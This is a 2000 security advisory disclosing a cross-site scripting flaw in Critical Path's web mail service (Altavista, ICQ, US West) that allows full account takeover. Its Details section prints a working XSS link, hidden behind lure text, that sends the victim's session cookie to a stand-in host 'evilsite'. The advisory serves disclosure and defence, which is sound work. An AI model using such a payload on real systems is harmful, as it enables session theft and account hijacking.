Critical_Path_CSS

`  
Security Advisory: Cross-site scripting vulnerability compromises accounts  
on Altavista, ICQ, US West/Qwest, others  
  
*Date  
  
21 August 2000  
  
*Author  
  
Jeffrey W. Baker, email [email protected]  
  
*Copyright statement  
  
This security advisory is Copyright 2000 by Jeffrey William Baker  
([email protected]). The advisory may be distributed in whole or in part  
without modification.  
  
*Background  
  
I was a programmer at Critical Path until 1/12/1999. I did not discover  
this vulnerability as a result of any of my work there. I was not  
assigned to the web mail product. I have not used any proprietary  
knowledge of Critical Path's systems in investigating this problem.  
  
This vulnerability was discovered on 17/7/2000, while I was conducting  
research for a presentation at the O'Reilly Open Source Convention. The  
vulnerability was first discussed by about 100 people at that conference.  
Critical Path's engineering, operations, and management staffs were  
contacted about the probem on 21/7/2000. They have not responded after a  
generous 30 days, and the problem is still present in their production  
service. Therefore the problem must be presented to the public at large.  
  
*Synopsis  
  
A simple flaw in the web mail service offered by Critical Path  
(www.cp.net) allows an attacker to gain full access of any webmail  
account. The attack falls under the umbrella of cross-site scripting,  
which was addressed in detail by CERT in their advisory CA-2000-02,  
entitled "Malicious HTML Tags Embedded in Client Web Requests." The bug  
is aggravated by an defective session token scheme.  
  
*Details  
  
The attack works by tricking a legitimate web mail user into clicking on a  
link while logged into the web mail system. The link exploits a  
programming error in the web mail system to send the user's username and  
session cookie to another site. The username and session cookie can then  
be used to gain full control over the user's account.  
  
The user is vulnerable to the attack at any time after logging in to the  
webmail system, and before explicitly logging out, as long as the browser  
is not restarted. After the attack, the attacker will be able to read and  
delete the victim's mail, send mail as the victim, and otherwise fully  
impersonate the victim any time that the victim is logged in. The  
attacker will have control over the victim's account forever, even if the  
victim changes his password.  
  
Web mail authenticates users using usernames and passwords. After a  
successful login, the user is given an HTTP cookie, with the name "CPWMS"  
and the value of "username/hash". The hash part of the cookie is a  
32-character hexidecimal value. The hash is always the same, every time  
the user logs in, even if he changes his password. This session hash  
problem deserves an advisory of its own, but in this advisory, it serves  
to increase the severity of the vulnerability.  
  
The cookie is sent to the browser for expiration when the browser is  
closed. The cookie is valid forever. The only way to invalidate a cookie  
is to explicitly log out, using the "Log out" button on the web mail user  
interface. However, the cookie will immediately become valid again  
whenever the user logs in again. Thus, once a sucessful attack has been  
made, the attacker effectively owns the account.  
  
The attacker must make the victim follow a link while the victim is logged  
on to web mail. The link must make the victim activate the web mail  
composition user interface and submit some form data. The composition  
interface will then echo this input back to the user, without escaping the  
HTML entities. If the submitted form data includes JavaScript commands,  
the attacker can make the user's web browser send the authentication  
cookie to the attacker's site, where the attacker can collect them for  
use.  
  
The best way to make sure that the victim is logged on to web mail is to  
send them the link in a mail message. The web mail UI renders HTML  
content in an email as HTML. Thus, the attacker could send this mail body  
to a user of mail.altavista.com (ignore newlines, they are inserted for  
readability):  
  
<a href="http://mail.altavista.com/mail/compose?  
contentonly=0&  
send=SEND!&  
to=&  
subject=&  
cc=&  
bcc=&  
include_sig=1&  
body=%3C/TEXTAREA%3E%3CSCRIPT%20language=%22JavaScript%22%3E  
document.location=%22http://evilsite/%22%20%2Bdocument.cookie%3B%3C  
/SCRIPT%3E&id=">Click here for hot, naked teens!</a>  
  
When the web mail app receives this request, it unescapes the query  
arguments and places them inside an HTML TEXTAREA element. The unescaped  
argument then closes the TEXTAREA element and inserts a JavaScript command  
which is executed when the page is loaded by any web browser with  
JavaScript capabilities.  
  
When the script executes, the browser will send a request to "evilsite"  
which includes the user's session cookie. The operator of evilsite will  
then have full control over the user's account. In the case of  
altavista.com, evilsite will also receive several cookies set by the  
.altavista.com domain, which is a sort of a bonus. If the operator of  
evilsite is smart, he can deliver some useful content to the victim, and  
the victim may not even be aware of any problem.  
  
The attacker would access the victim's account by placing the session  
cookie in his cookies file and visiting mail.altavista.com. He could use  
any capability of the account, with the exception of changing the  
password. The old password must be known to change the password. This is  
hardly a problem though, because the victim can change the password and  
the attacker's access will be uninterrupted.  
  
*User Impact  
  
This bug impacts most users of Critical Path's web mail service. This  
service is offered by Critical Path under many brands, including altavista  
(mail.altavista.com), us west (mail.uswestmail.net), icq  
(mail.icqmail.com), and etrade (mail.etrademail.com). These brands are  
well-known and reported in Critical Path's press releases. Other users of  
Critical Path's service can be found by inspecting the public DNS records.  
Critical Path claims over 30 million users of its mail services through us  
west, altavista, and icq alone.  
  
Users of etrademail.com are not vulnerable to this attack because their  
session hashes are stored in the URL, not in cookies. Other services that  
use URLs instead of cookies are also immune to this particular attack.  
(Users of etrademail.com have another problem in that they have no "Log  
out" button at all, but that is a separate issue).  
  
The user can defend against this bug by:  
  
1) Turning off JavaScript in the browser. This has been suggested many  
times, and it is still quite a good idea.  
  
2) Not clicking on links from mail messages. If a user wishes to click on  
a link from a web mail interface, they should bookmark the link, log out  
of web mail, and then visit the bookmark.  
  
3) Logging out of web mail. This will prevent the attacker from using the  
web mail account when the victim is not using it.  
  
4) Not using web mail. Traditional Mail User Agents, such as pine and  
eudora, are not vulnerable to this style of attack. Web mail interfaces  
should only be used as a last resort.  
  
*Suggested resolution  
  
The web mail software should escape all HTML entities that appear in user  
input. No user input should ever be inserted into a response unless the  
input has been properly escaped. If the input was properly escaped on  
this page, the JavaScript code would appear harmlessly inside the text  
input widget. User input is properly escaped in most places on the web  
mail interface, but the mail composition interface is defective.  
  
Critical Path should take a more aggressive approach to plugging security  
holes. They should have responded to my offers of assistance quickly and  
positively. Their millions of users could have been using a more secure  
product by now.  
  
`